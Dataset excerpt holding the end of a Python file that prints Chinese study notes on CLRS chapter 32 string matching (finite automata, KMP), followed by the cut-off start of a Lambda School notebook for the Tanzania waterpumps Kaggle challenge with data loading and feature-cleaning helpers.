\u5bf9\u4e8ew\u2208\u2211*, a\u2208\u2211')\n        print('\u5b57\u7b26\u4e32\u5339\u914d\u81ea\u52a8\u673a')\n        print('  \u5bf9\u6bcf\u4e2a\u6a21\u5f0fP\u90fd\u5b58\u5728\u4e00\u4e2a\u5b57\u7b26\u4e32\u5339\u914d\u81ea\u52a8\u673a,\u5fc5\u987b\u5728\u9884\u5904\u7406\u9636\u6bb5,\u6839\u636e\u6a21\u5f0f\u6784\u9020\u51fa\u76f8\u5e94\u7684\u81ea\u52a8\u673a\u540e,\u624d\u80fd\u5229\u7528\u5b83\u6765\u641c\u5bfb\u6587\u672c\u5b57\u7b26\u4e32',\n            '\u5173\u4e8e\u6a21\u5f0fP=ababaca\u7684\u6709\u9650\u81ea\u52a8\u673a\u7684\u6784\u9020\u8fc7\u7a0b\u3002\u4ece\u73b0\u5728\u5f00\u59cb,\u5047\u5b9aP\u662f\u4e00\u4e2a\u5df2\u77e5\u7684\u56fa\u5b9a\u6a21\u5f0f.\u4e3a\u4e86\u4f7f\u8bf4\u660e\u4e0a\u7684\u7b80\u6d01,\u5728\u4e0b\u9762\u7684\u6982\u5ff5\u4e2d\u5c06\u4e0d\u7279\u522b\u6307\u51fa\u5bf9P\u7684\u4f9d\u8d56\u5173\u7cfb')\n        print('  \u4e3a\u4e86\u8be6\u7ec6\u8bf4\u660e\u4e0e\u7ed9\u5b9a\u6a21\u5f0fP[1..m]\u76f8\u5e94\u7684\u5b57\u7b26\u4e32\u5339\u914d\u81ea\u52a8\u673a,\u9996\u5148\u5b9a\u4e49\u4e00\u4e2a\u8f85\u52a9\u51fd\u6570a,\u79f0\u4e3a\u76f8\u5e94P\u7684\u540e\u7f00\u51fd\u6570\u3002',\n            '\u51fd\u6570a\u662f\u4e00\u4e2a\u4ece\u2211*\u5230{0,1,...,m}\u4e0a\u5b9a\u4e49\u7684\u6620\u5c04,a(x)\u662fx\u7684\u540e\u7f00P\u7684\u6700\u957f\u524d\u7f00\u7684\u957f\u5ea6\uff1aa(x)=max{k:Pk>x}')\n        print('  \u4e3a\u4e86\u6e05\u695a\u5730\u8bf4\u660e\u5b57\u7b26\u4e32\u5339\u914d\u81ea\u52a8\u673a\u7684\u64cd\u4f5c\u8fc7\u7a0b,\u7ed9\u51fa\u4e00\u4e2a\u7b80\u5355\u800c\u6709\u6548\u7684\u7a0b\u5e8f,\u7528\u6765\u6a21\u62df\u8fd9\u6837\u4e00\u4e2a\u81ea\u52a8\u673a(\u7528\u5b83\u7684\u53d8\u8fc1\u51fd\u6570d\u6765\u8868\u793a),\u5728\u8f93\u5165\u6587\u672cT[1..n]\u4e2d,',\n            '\u5bfb\u627e\u957f\u5ea6\u4e3am\u7684\u6a21\u5f0fP\u7684\u51fa\u73b0\u4f4d\u7f6e\u7684\u8fc7\u7a0b,\u5bf9\u4e8e\u957f\u5ea6\u4e3am\u7684\u6a21\u5f0f\u7684\u4efb\u610f\u5b57\u7b26\u4e32\u5339\u914d\u81ea\u52a8\u673a\u6765\u8bf4,\u72b6\u6001Q\u4e3a{0,1,...,m},\u521d\u59cb\u72b6\u6001\u4e3a0,\u552f\u4e00\u7684\u63a5\u6536\u6001\u662f\u72b6\u6001m')\n        print('  \u7531FINITE-AUTOMATON-MATCHER\u7684\u7b80\u5355\u5faa\u73af\u7ed3\u6784\u53ef\u4ee5\u770b\u51fa,\u5bf9\u4e8e\u4e00\u4e2a\u957f\u5ea6\u4e3an\u7684\u6587\u672c\u5b57\u7b26\u4e32,\u5b83\u7684\u5339\u914d\u65f6\u95f4\u4e3a\u0398(n)',\n            '\u4f46\u662f,\u8fd9\u4e00\u5339\u914d\u65f6\u95f4\u6ca1\u6709\u5305\u62ec\u8ba1\u7b97\u53d8\u8fc1\u51fd\u6570d\u6240\u9700\u8981\u7684\u9884\u5904\u7406\u65f6\u95f4.\u5c06\u5728\u8bc1\u660eFINITE-AUTOMATON-MATCHER\u7684\u6b63\u786e\u6027\u4ee5\u540e,\u518d\u6765\u8ba8\u8bba\u8fd9\u4e00\u95ee\u9898')\n        print('  \u8003\u5bdf\u81ea\u52a8\u673a\u5728\u8f93\u5165\u6587\u672cT[1..n]\u4e0a\u8fdb\u884c\u7684\u64cd\u4f5c.\u5c06\u8bc1\u660e\u81ea\u52a8\u673a\u626b\u8fc7\u5b57\u7b26T[i]\u540e,\u5176\u72b6\u6001\u4e3ad(Ti).\u56e0\u4e3ad(Ti)=m\u5f53\u4e14\u4ec5\u5f53P>Ti,',\n            '\u6240\u4ee5\u81ea\u52a8\u673a\u5904\u4e8e\u63a5\u6536\u72b6\u6001m,\u5f53\u4e14\u4ec5\u5f53\u6a21\u5f0fP\u5df2\u7ecf\u88ab\u626b\u63cf\u8fc7,\u4e3a\u4e86\u8bc1\u660e\u8fd9\u4e2a\u7ed3\u8bba,\u8981\u7528\u5230\u4e0b\u9762\u4e24\u6761\u5173\u4e8e\u540e\u7f00\u51fd\u6570o\u7684\u5f15\u7406')\n        print('\u5f15\u740632.2 (\u540e\u7f00\u51fd\u6570\u4e0d\u7b49\u5f0f) \u5bf9\u4efb\u610f\u5b57\u7b26\u4e32x\u548c\u5b57\u7b26a,\u6709o(xa)>=o(x)+1')\n        print('\u5f15\u740632.3 (\u540e\u7f00\u51fd\u6570\u9012\u5f52\u5f15\u7406) \u5bf9\u4efb\u610fx\u548c\u5b57\u7b26a,\u5982\u679cq=o(x),\u5219o(xa)=o(Pqa)')\n        print('\u5b9a\u740632.4 \u5982\u679c\u222e\u662f\u5b57\u7b26\u4e32\u5339\u914d\u81ea\u52a8\u673a\u5173\u4e8e\u7ed9\u5b9a\u6a21\u5f0fP\u7684\u7ec8\u6001\u51fd\u6570,T[1..n]\u662f\u81ea\u52a8\u673a\u7684\u8f93\u5165\u6587\u672c,\u5bf9i=0,1,...,n,\u6709\u222e(Ti)=o(Ti)')\n        print('\u8ba1\u7b97\u53d8\u8fc1\u51fd\u6570')\n        print('\u7ec3\u4e6032.3-1 \u5bf9\u6a21\u5f0fP=aabab\u6784\u9020\u51fa\u76f8\u5e94\u7684\u5b57\u7b26\u4e32\u5339\u914d\u81ea\u52a8\u673a,\u5e76\u8bf4\u660e\u5b83\u5728\u6587\u672c\u5b57\u7b26\u4e32T=aaababaabaababaab\u4e0a\u7684\u64cd\u4f5c\u8fc7\u7a0b')\n        print(sm.finite_automaton_matcher('aaababaabaababaab', 10, 8))\n        print('\u7ec3\u4e6032.3-2 \u5bf9\u5b57\u6bcd\u8868\u2211={a, b},\u753b\u51fa\u4e0e\u6a21\u5f0fababbabbababbababbabb\u76f8\u5e94\u7684\u5b57\u7b26\u4e32\u5339\u914d\u81ea\u52a8\u673a\u72b6\u6001\u8f6c\u6362\u56fe')\n        print('\u7ec3\u4e6032.3-3 \u5982\u679c\u7531Pk>Pq\u8574\u542b\u7740k=0\u6216k=q,\u5219\u79f0\u6a21\u5f0fP\u662f\u4e0d\u53ef\u91cd\u53e0\u7684.\u8bd5\u63cf\u8ff0\u4e0e\u4e0d\u53ef\u91cd\u53e0\u6a21\u5f0f\u76f8\u5e94\u7684\u5b57\u7b26\u4e32\u5339\u914d\u81ea\u52a8\u673a\u7684\u72b6\u6001\u8f6c\u6362\u56fe')\n        print('\u7ec3\u4e6032.3-4 \u5df2\u77e5\u4e24\u4e2a\u6a21\u5f0fP\u548cP`,\u8bd5\u63cf\u8ff0\u5982\u4f55\u6784\u9020\u4e00\u4e2a\u6709\u9650\u81ea\u52a8\u673a,\u4f7f\u4e4b\u80fd\u786e\u5b9a\u5176\u4e2d\u4efb\u610f\u4e00\u4e2a\u6a21\u5f0f\u7684\u6240\u6709\u51fa\u73b0\u4f4d\u7f6e.\u8981\u6c42\u5c3d\u91cf\u4f7f\u81ea\u52a8\u673a\u7684\u72b6\u6001\u6570\u6700\u5c0f')\n        print('\u7ec3\u4e6032.3-5 \u5df2\u77e5\u4e00\u4e2a\u5305\u62ec\u95f4\u9694\u5b57\u7b26\u7684\u67d0\u6a21\u5f0fP,\u8bf4\u660e\u5982\u4f55\u6784\u9020\u4e00\u4e2a\u6709\u9650\u81ea\u52a8\u673a,\u4f7f\u5176\u5728O(n)\u7684\u65f6\u95f4\u5185,\u627e\u51faP\u5728\u6587\u672cT\u4e2d\u7684\u4e00\u6b21\u51fa\u73b0\u4f4d\u7f6e,\u5176\u4e2dn=|T|')\n        # python src/chapter32/chapter32note.py\n        # python3 src/chapter32/chapter32note.py\n\nclass Chapter32_4:\n    \"\"\"\n    chapter32.4 note and function\n    \"\"\"\n    def __init__(self):\n        pass\n\n    def note(self):\n        \"\"\"\n        Summary\n        ====\n        Print chapter32.4 note\n\n        Example\n        ====\n        ```python\n        Chapter32_4().note()\n        ```\n        \"\"\"\n        print('chapter32.4 note as follow')\n        print('32.4 Knuth-Morris-Pratt\u7b97\u6cd5')\n        print('Knuth\u3001Morris\u548cPratt\u4e09\u4eba\u8bbe\u8ba1\u7684\u7ebf\u6027\u65f6\u95f4\u5b57\u7b26\u4e32\u5339\u914d\u7b97\u6cd5\u3002\u8fd9\u4e2a\u7b97\u6cd5\u4e0d\u7528\u8ba1\u7b97\u53d8\u8fc1\u51fd\u6570d,\u5339\u914d\u65f6\u95f4\u4e3a\u0398(n),\u53ea\u8981\u7528\u5230\u8f85\u52a9\u51fd\u6570pi[1,m]',\n            '\u5b83\u662f\u5728\u0398(m)\u65f6\u95f4\u5185,\u6839\u636e\u6a21\u5f0f\u9884\u5148\u8ba1\u7b97\u51fa\u6765\u7684.\u6570\u7ec4pi\u4f7f\u5f97\u6211\u4eec\u53ef\u4ee5\u6309\u9700\u8981,\u201c\u73b0\u573a\u201d\u6709\u6548\u5730\u8ba1\u7b97(\u5728\u5e73\u644a\u610f\u4e49\u4e0a\u6765\u8bf4)\u53d8\u8fc1\u51fd\u6570d.',\n            '\u7c97\u7565\u5730\u8bf4,\u5bf9\u4efb\u610f\u72b6\u6001q=0,1,...,m\u548c\u4efb\u610f\u5b57\u7b26a\u2208\u2211,pi[q]\u7684\u503c\u5305\u542b\u4e86\u4e0ea\u65e0\u5173\u4f46\u5728\u8ba1\u7b97d(q,a)\u65f6\u9700\u8981\u7684\u4fe1\u606f',\n            '\u7531\u4e8e\u6570\u7ec4pi\u53ea\u6709m\u4e2a\u5143\u7d20,\u800cd\u6709\u0398(m|\u2211|\u4e2a\u503c,\u6240\u4ee5\u901a\u8fc7\u9884\u5148\u8ba1\u7b97pi\u800c\u4e0d\u662fd,\u4f7f\u5f97\u65f6\u95f4\u51cf\u5c11\u4e86\u4e00\u4e2a|\u2211|\u56e0\u5b50)')\n        print('\u5173\u4e8e\u6a21\u5f0f\u7684\u524d\u7f00\u51fd\u6570')\n        print('  \u6a21\u5f0f\u7684\u524d\u7f00\u51fd\u6570pi\u5305\u542b\u6709\u6a21\u5f0f\u4e0e\u5176\u81ea\u8eab\u7684\u4f4d\u79fb\u8fdb\u884c\u5339\u914d\u7684\u4fe1\u606f.\u8fd9\u4e9b\u4fe1\u606f\u53ef\u7528\u4e8e\u907f\u514d\u5728\u6734\u7d20\u7684\u5b57\u7b26\u4e32\u5339\u914d\u7b97\u6cd5\u4e2d,\u5bf9\u65e0\u4f4d\u79fb\u8fdb\u884c\u6d4b\u8bd5,',\n            '\u4e5f\u53ef\u4ee5\u907f\u514d\u5728\u5b57\u7b26\u4e32\u5339\u914d\u81ea\u52a8\u673a\u4e2d,\u5bf9d\u7684\u9884\u5148\u8ba1\u7b97\u8fc7\u7a0b')\n        print('KMP-MATCHER\u7684\u5927\u90e8\u5206\u8fc7\u7a0b\u90fd\u662f\u5728\u6a21\u4effFINITE-AUTOMATON-MATCHER.KMP-MATCHER\u8c03\u7528\u4e86\u4e00\u4e2a\u8f85\u52a9\u8fc7\u7a0bCOMPUTE-PREFIX-FUNCTION\u6765\u8ba1\u7b97pi')\n        print('\u8fd0\u884c\u65f6\u95f4\u5206\u6790')\n        print('  \u8fd0\u7528\u5e73\u644a\u5206\u6790\u65b9\u6cd5\u8fdb\u884c\u5206\u6790\u540e\u53ef\u77e5,\u8fc7\u7a0bCOMPUTE-PREFIX-FUNCTION\u7684\u8fd0\u884c\u65f6\u95f4\u4e3a\u0398(m)')\n        print('  \u5728\u7c7b\u4f3c\u7684\u5e73\u644a\u5206\u6790\u4e2d,\u5982\u679c\u7528q\u7684\u503c\u4f5c\u4e3a\u52bf\u51fd\u6570,\u5219KMP-MATCHER\u7684\u5339\u914d\u65f6\u95f4\u4e3a\u0398(n)',\n            '\u4e0eFINITE-AUTOMATON-MATCHER\u76f8\u6bd4,\u901a\u8fc7\u8fd0\u7528pi\u800c\u4e0d\u662fd,\u53ef\u4f7f\u5bf9\u6a21\u5f0f\u8fdb\u884c\u9884\u5904\u7406\u6240\u9700\u7684\u65f6\u95f4\u7531O(m|\u2211|)\u4e0b\u964d\u4e3a\u0398(m),\u540c\u65f6\u4fdd\u6301\u5b9e\u9645\u7684\u5339\u914d\u65f6\u95f4\u4e3a\u0398(n)')\n        print('\u524d\u7f00\u51fd\u6570\u8ba1\u7b97\u7684\u6b63\u786e\u6027')\n        print('  \u901a\u8fc7\u5bf9\u524d\u7f00\u51fd\u6570pi\u8fdb\u884c\u8fed\u4ee3,\u5c31\u80fd\u591f\u5217\u4e3e\u51fa\u662f\u67d0\u7ed9\u5b9a\u524d\u7f00Pq\u7684\u540e\u7f00\u7684\u6240\u6709\u524d\u7f00Pk,\u8bbe',\n            'pi*[q]={pi[q],pi(2)[q],pi(3)[q],...,pi(t)[q]}')\n        print('\u5f15\u740632.5 (\u524d\u7f00\u51fd\u6570\u8fed\u4ee3\u5b9a\u7406) \u8bbeP\u662f\u957f\u5ea6\u4e3am\u7684\u6a21\u5f0f,\u5176\u524d\u7f00\u51fd\u6570\u4e3api,\u5bf9q=1,2,...,m,\u6709pi*[q]={k:k<q\u4e14Pk>Pq}')\n        print('\u5f15\u740632.6 \u8bbeP\u662f\u957f\u5ea6\u4e3am\u7684\u6a21\u5f0f,pi\u662fP\u7684\u524d\u7f00\u51fd\u6570.\u5bf9q=1,2,...,m,\u5982\u679cpi[q]>0,\u5219pi[q]-1\u2208pi*[q-1]')\n        print('\u63a8\u8bba32.7 \u8bbeP\u662f\u957f\u5ea6\u4e3am\u7684\u6a21\u5f0f,pi\u662fP\u7684\u524d\u7f00\u51fd\u6570,\u5bf9q=2,3,...,m')\n        print('KMP\u7b97\u6cd5\u7684\u6b63\u786e\u6027')\n        print('  \u8fc7\u7a0bKMP-MATCHER\u53ef\u4ee5\u770b\u505a\u662f\u8fc7\u7a0bFINITE-AUTOMATON-MATCHER\u7684\u4e00\u6b21\u91cd\u65b0\u5b9e\u73b0')\n        print('\u7ec3\u4e6032.4-1 \u5f53\u5b57\u6bcd\u8868\u4e3a\u2211={a,b},\u8ba1\u7b97\u76f8\u5e94\u4e8e\u6a21\u5f0fababbabbabbababbabb\u7684\u524d\u7f00\u51fd\u6570pi')\n        print('\u7ec3\u4e6032.4-2 \u7ed9\u51fa\u5173\u4e8eq\u7684\u51fd\u6570pi*[q]\u7684\u89c4\u6a21\u7684\u4e0a\u754c.\u4e3e\u4f8b\u8bf4\u660e\u6240\u7ed9\u51fa\u7684\u4e0a\u754c\u662f\u4e25\u683c\u7684')\n        print('\u7ec3\u4e6032.4-3 \u8bd5\u8bf4\u660e\u5982\u4f55\u901a\u8fc7\u68c0\u67e5\u5b57\u7b26\u4e32PT\u7684pi\u51fd\u6570,\u6765\u786e\u5b9a\u6a21\u5f0fP\u5728\u6587\u672cT\u4e2d\u7684\u51fa\u73b0\u4f4d\u7f6e(\u7531P\u548cT\u5e76\u7f6e\u5f62\u6210\u7684\u957f\u5ea6\u4e3am+n\u7684\u5b57\u7b26\u4e32)')\n        print('\u7ec3\u4e6032.4-4 \u8bd5\u8bf4\u660e\u5982\u4f55\u901a\u8fc7\u4ee5\u4e0b\u65b9\u5f0f\u5bf9\u8fc7\u7a0bKMP-MATCHER\u8fdb\u884c\u6539\u8fdb:\u628a\u7b2c7\u884c(\u4e0d\u662f\u7b2c12\u884c\u4e2d)\u51fa\u73b0\u7684pi\u66ff\u6362\u4e3api\u2018.\u5bf9q=1,2,...,m\u7684\u9012\u5f52\u5b9a\u4e49\u5982\u4e0b\uff1a')\n        print('\u7ec3\u4e6032.4-5 \u5199\u51fa\u4e00\u4e2a\u7ebf\u6027\u65f6\u95f4\u7684\u7b97\u6cd5,','\u4ee5\u786e\u5b9a\u6587\u672cT\u662f\u5426\u662f\u53e6\u4e00\u4e2a\u5b57\u7b26\u4e32T\u2018\u7684\u5faa\u73af\u65cb\u8f6c,\u4f8b\u5982arc\u548ccar\u662f\u5f7c\u6b64\u7684\u5faa\u73af\u65cb\u8f6c')\n        print('\u7ec3\u4e6032.4-6 \u7ed9\u51fa\u4e00\u4e2a\u6709\u6548\u7684\u7b97\u6cd5,\u8ba1\u7b97\u51fa\u76f8\u5e94\u4e8e\u67d0\u7ed9\u5b9a\u6a21\u5f0fP\u7684\u5b57\u7b26\u4e32\u5339\u914d\u81ea\u52a8\u673a\u7684\u53d8\u8fc1\u51fd\u6570d',\n            '\u6240\u7ed9\u51fa\u7684\u7b97\u6cd5\u7684\u8fd0\u884c\u65f6\u95f4\u5e94\u8be5\u662fO(m|\u2211|).(\u63d0\u793a\uff1a\u8bc1\u660e:\u5982\u679cq=m\u6216P[q+1]!=a,\u5219d(q,a)=d(pi[q],a))')\n        print('\u601d\u8003\u989832-1 \u57fa\u4e8e\u91cd\u590d\u56e0\u5b50\u7684\u5b57\u7b26\u4e32\u5339\u914d')\n        print('  \u8bbeyi\u8868\u793a\u5b57\u7b26\u4e32y\u4e0e\u5176\u81ea\u8eab\u5e76\u7f6ei\u6b21\u6240\u5f97\u7684\u7ed3\u679c.\u4f8b\u5982(ab)^3=ababab.\u5982\u679c\u5bf9\u67d0\u4e2a\u5b57\u7b26\u4e32y\u2208\u2211*\u548c\u67d0\u4e2ar>0\u6709x=y^r,\u5219\u79f0\u5b57\u7b26\u4e32x\u2208\u2211*\u5177\u6709\u91cd\u590d\u56e0\u5b50r.',\n            '\u8bbep(x)\u8868\u793a\u6ee1\u8db3x\u5177\u6709\u91cd\u590d\u56e0\u5b50r\u7684\u6700\u5927\u503c')\n        print('  (a) \u5199\u51fa\u4e00\u4e2a\u6709\u6548\u7b97\u6cd5\u4ee5\u8ba1\u7b97\u51fap(Pi)(i=1,2,...,m),\u7b97\u6cd5\u7684\u8f93\u5165\u4e3a\u6a21\u5f0fP[1..m].\u7b97\u6cd5\u7684\u8fd0\u884c\u65f6\u95f4\u662f\u591a\u5c11\uff1f')\n        print('  (b) \u5bf9\u4efb\u4f55\u6a21\u5f0fp[1..m],\u8bbep(P)\u5b9a\u4e49\u4e3amax(1<=i<=m)p(Pi).\u8bc1\u660e\uff1a\u5982\u679c\u4ece\u957f\u5ea6\u4e3am\u7684\u6240\u6709\u4e8c\u8fdb\u5236\u5b57\u7b26\u4e32\u6240\u7ec4\u6210\u7684\u96c6\u4e2d\u968f\u673a\u5730\u9009\u62e9\u6a21\u5f0fP,\u5219p*(P)\u7684\u671f\u671b\u503c\u662fO(1)')\n        print('  (c) \u8bba\u8bc1\u4e0b\u5217\u5b57\u7b26\u4e32\u5339\u914d\u7b97\u6cd5\u53ef\u4ee5\u5728O(p*(P)n+m)\u7684\u8fd0\u884c\u65f6\u95f4\u5185,\u6b63\u786e\u5730\u627e\u51fa\u6a21\u5f0fP\u5728\u6587\u672cT[1..n]\u4e2d\u7684\u6240\u6709\u51fa\u73b0\u4f4d\u7f6e')\n        # python src/chapter32/chapter32note.py\n        # python3 src/chapter32/chapter32note.py\n\nchapter32_1 = Chapter32_1()\nchapter32_2 = Chapter32_2()\nchapter32_3 = Chapter32_3()\nchapter32_4 = Chapter32_4()\n\ndef printchapter32note():\n    \"\"\"\n    print chapter32 note.\n    \"\"\"\n    print('Run main : single chapter thirty-two!')\n    chapter32_1.note()\n    chapter32_2.note()\n    chapter32_3.note()\n    chapter32_4.note()\n\n# python src/chapter32/chapter32note.py\n# python3 src/chapter32/chapter32note.py\n\nif __name__ == '__main__':  \n    printchapter32note()\nelse:\n    pass\n", "meta": {"hexsha": "6372d0e278c4c77ae1b98018bbd8c91e21a8acb5", "size": 12740, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/chapter32/chapter32note.py", "max_stars_repo_name": "Peefy/CLRS_dugu_code-master", "max_stars_repo_head_hexsha": "98f00e75e1b0ebc13a7affb2604bec8501692a19", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2018-01-31T03:08:50.000Z", "max_stars_repo_stars_event_max_datetime": "2018-04-25T12:57:01.000Z", "max_issues_repo_path": "src/chapter32/chapter32note.py", "max_issues_repo_name": "HideLakitu/IntroductionToAlgorithm.Python", "max_issues_repo_head_hexsha": "33662f46dc346203b220d7481d1a4439feda05d2", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/chapter32/chapter32note.py", "max_forks_repo_name": "HideLakitu/IntroductionToAlgorithm.Python", "max_forks_repo_head_hexsha": "33662f46dc346203b220d7481d1a4439feda05d2", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2019-03-03T04:49:53.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-13T10:18:58.000Z", "avg_line_length": 43.4812286689, "max_line_length": 117, "alphanum_fraction": 0.6326530612, "include": true, "reason": "import numpy", "num_tokens": 7493, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45326184801538616, "lm_q2_score": 0.20946968626535545, "lm_q1q2_score": 0.09494461709983816}}
{"text": "#%% [markdown]\n# Lambda School Data Science, Unit 2: Predictive Modeling\n# \n# # Kaggle Challenge, Module 1\n# \n# ## Assignment\n# - [ ] Do train/validate/test split with the Tanzania Waterpumps data.\n# - [ ] Define a function to wrangle train, validate, and test sets in the same way. Clean outliers and engineer features. (For example, [what other columns have zeros and shouldn't?](https://github.com/Quartz/bad-data-guide#zeros-replace-missing-values) What other columns are duplicates, or nearly duplicates? Can you extract the year from date_recorded? Can you engineer new features, such as the number of years from waterpump construction to waterpump inspection?)\n# - [ ] Select features. Use a scikit-learn pipeline to encode categoricals, impute missing values, and fit a decision tree classifier.\n# - [ ] Get your validation accuracy score.\n# - [ ] Get and plot your feature importances.\n# - [ ] Submit your predictions to our Kaggle competition. (Go to our Kaggle InClass competition webpage. Use the blue **Submit Predictions** button to upload your CSV file. Or you can use the Kaggle API to submit your predictions.)\n# - [ ] Commit your notebook to your fork of the GitHub repo.\n# \n# \n# ## Stretch Goals\n# \n# ### Reading\n# \n# - A Visual Introduction to Machine Learning\n#   - [Part 1: A Decision Tree](http://www.r2d3.us/visual-intro-to-machine-learning-part-1/)\n#   - [Part 2: Bias and Variance](http://www.r2d3.us/visual-intro-to-machine-learning-part-2/)\n# - [Decision Trees: Advantages & Disadvantages](https://christophm.github.io/interpretable-ml-book/tree.html#advantages-2)\n# - [How a Russian mathematician constructed a decision tree \u2014 by hand \u2014 to solve a medical problem](http://fastml.com/how-a-russian-mathematician-constructed-a-decision-tree-by-hand-to-solve-a-medical-problem/)\n# - [How decision trees work](https://brohrer.github.io/how_decision_trees_work.html)\n# - [Let\u2019s Write a Decision Tree Classifier from Scratch](https://www.youtube.com/watch?v=LDRbO9a6XPU) \u2014 _Don\u2019t worry about understanding the code, just get introduced to the concepts. This 10 minute video has excellent diagrams and explanations._\n# - [Random Forests for Complete Beginners: The definitive guide to Random Forests and Decision Trees](https://victorzhou.com/blog/intro-to-random-forests/)\n# \n# \n# ### Doing\n# - [ ] Add your own stretch goal(s) !\n# - [ ] Try other [scikit-learn imputers](https://scikit-learn.org/stable/modules/impute.html).\n# - [ ] Make exploratory visualizations and share on Slack.\n# \n# \n# #### Exploratory visualizations\n# \n# Visualize the relationships between feature(s) and target. I recommend you do this with your training set, after splitting your data. \n# \n# For this problem, you may want to create a new column to represent the target as a number, 0 or 1. For example:\n# \n# ```python\n# train['functional'] = (train['status_group']=='functional').astype(int)\n# ```\n# \n# \n# \n# You can try [Seaborn \"Categorical estimate\" plots](https://seaborn.pydata.org/tutorial/categorical.html) for features with reasonably few unique values. (With too many unique values, the plot is unreadable.)\n# \n# - Categorical features. (If there are too many unique values, you can replace less frequent values with \"OTHER.\")\n# - Numeric features. (If there are too many unique values, you can [bin with pandas cut / qcut functions](https://pandas.pydata.org/pandas-docs/stable/getting_started/basics.html?highlight=qcut#discretization-and-quantiling).)\n# \n# You can try [Seaborn linear model plots](https://seaborn.pydata.org/tutorial/regression.html) with numeric features. For this classification problem, you may want to use the parameter `logistic=True`, but it can be slow.\n# \n# You do _not_ need to use Seaborn, but it's nice because it includes confidence intervals to visualize uncertainty.\n# \n# #### High-cardinality categoricals\n# \n# This code from a previous assignment demonstrates how to replace less frequent values with 'OTHER'\n# \n# ```python\n# # Reduce cardinality for NEIGHBORHOOD feature ...\n# \n# # Get a list of the top 10 neighborhoods\n# top10 = train['NEIGHBORHOOD'].value_counts()[:10].index\n# \n# # At locations where the neighborhood is NOT in the top 10,\n# # replace the neighborhood with 'OTHER'\n# train.loc[~train['NEIGHBORHOOD'].isin(top10), 'NEIGHBORHOOD'] = 'OTHER'\n# test.loc[~test['NEIGHBORHOOD'].isin(top10), 'NEIGHBORHOOD'] = 'OTHER'\n# ```\n# \n\n#%%\nimport sys\n\n# If you're on Colab:\nif 'google.colab' in sys.modules:\n    DATA_PATH = 'https://raw.githubusercontent.com/LambdaSchool/DS-Unit-2-Kaggle-Challenge/master/data/'\n    get_ipython().system('pip install category_encoders==2.*')\n\n# If you're working locally:\nelse:\n    DATA_PATH = './data/'\n\n\n#%%\nimport pandas\nfrom sklearn.model_selection import train_test_split\n\ntrain = pandas.merge(pandas.read_csv(DATA_PATH+'waterpumps/train_features.csv'), \n                 pandas.read_csv(DATA_PATH+'waterpumps/train_labels.csv'))\ntest_features = pandas.read_csv(DATA_PATH+'waterpumps/test_features.csv')\nsample_submission = pandas.read_csv(DATA_PATH+'waterpumps/sample_submission.csv')\n\ntrain.shape, test_features.shape\n\n#%%\nfrom typing import Optional\n\ndef keepTopN(\tcolumn:pandas.Series,\n\t\t\t\tn:int,\n\t\t\t\tdefault:Optional[object] = None) -> pandas.Series:\n\t\"\"\"\n\tKeeps the top n most popular values of a Series, while replacing the rest with `default`\n\t\n\tArgs:\n\t\tcolumn (pandas.Series): Series to operate on\n\t\tn (int): How many values to keep\n\t\tdefault (object, optional): Defaults to NaN. Value with which to replace remaining values\n\t\n\tReturns:\n\t\tpandas.Series: Series with the most popular n values\n\t\"\"\"\n\timport numpy\n\n\tif default is None: default = numpy.nan\n\n\tval_counts = column.value_counts()\n\tif n > len(val_counts): n = len(val_counts)\n\ttop_n = list(val_counts[:n].index)\n\treturn(column.where(column.isin(top_n), other=default))\n\ndef oneHot(\tframe:pandas.DataFrame, \n\t\t\tcols:Optional[list] = None,\n\t\t\texclude_cols:Optional[list] = None,\n\t\t\tmax_cardinality:Optional[int] = None) -> pandas.DataFrame:\n\t\"\"\"\n\tOne-hot encodes the dataframe.\n\t\n\tArgs:\n\t\tframe (pandas.DataFrame): Dataframe to clean\n\t\tcols (list, optional): Columns to one-hot encode. Defaults to all string columns.\n\t\texclude_cols (list, optional): Columns to skip one-hot encoding. Defaults to None.\n\t\tmax_cardinality (int, optional): Maximum cardinality of columns to encode. Defaults to no maximum cardinality.\n\t\n\tReturns:\n\t\tpandas.DataFrame: The one_hot_encoded dataframe.\n\t\"\"\"\n\timport category_encoders\n\n\tone_hot_encoded = frame.copy()\n\n\tif cols is None: cols = list(one_hot_encoded.columns[one_hot_encoded.dtypes=='object'])\n\n\tif exclude_cols is not None:\n\t\tfor col in exclude_cols:\n\t\t\tcols.remove(col)\n\n\tif max_cardinality is not None:\n\t\tdescribed = one_hot_encoded[cols].describe(exclude=[numpy.number])\n\t\tcols = list(described.columns[described.loc['unique'] <= max_cardinality])\n\n\tencoder = category_encoders.OneHotEncoder(return_df=True, use_cat_names=True, cols=cols)\n\tone_hot_encoded = encoder.fit_transform(one_hot_encoded)\n\n\treturn(one_hot_encoded)\n\n#%%\ndef clean_X(df, max_ordinality=100, int_ts=False, n_clusters=100):\n\n\tcleaned = df.copy().drop(columns=['recorded_by'])\n\n\n\tfrom sklearn.cluster import KMeans\n\n\tkmeans=KMeans(n_clusters=n_clusters)\n\tkmeans.fit(cleaned[['latitude', 'longitude']])\n\tcleaned['cluster'] = kmeans.labels_\n\n\n\tcategorical_description = cleaned.describe(exclude=[numpy.number])\n\tif int_ts: \n\t\tcat_cols = categorical_description.drop(columns=['date_recorded']).columns\n\telse:\n\t\tcat_cols = categorical_description.columns\n\t# high_ordinality_cols = categorical_description[categorical_description.loc['unique'] > max_ordinality].columns\n\t\n\tfor col in cat_cols:\n\t\tcleaned[col] = keepTopN(cleaned[col], max_ordinality, default='other')\n\n\tif int_ts:\n\t\tcleaned['date_recorded_dt'] = pandas.to_datetime(df['date_recorded'])\n\t\tcleaned['date_recorded_ts'] = cleaned['date_recorded_dt'].view('int64')\n\n\t\treturn(cleaned.drop(columns=['date_recorded_dt', 'date_recorded']))\n\telse:\n\t\treturn(cleaned)\n\n\n#%%\ntrain_targets = train.sort_values(by=['id'])['status_group'].replace({'functional': 1, 'functional needs repair': 2, 'non functional': 3})\ntrain_features = train.sort_values(by=['id']).drop(columns=['status_group'])\n\n#%%\nimport numpy\ncombined = pandas.concat([train_features, test_features])\ncleaned_combined = 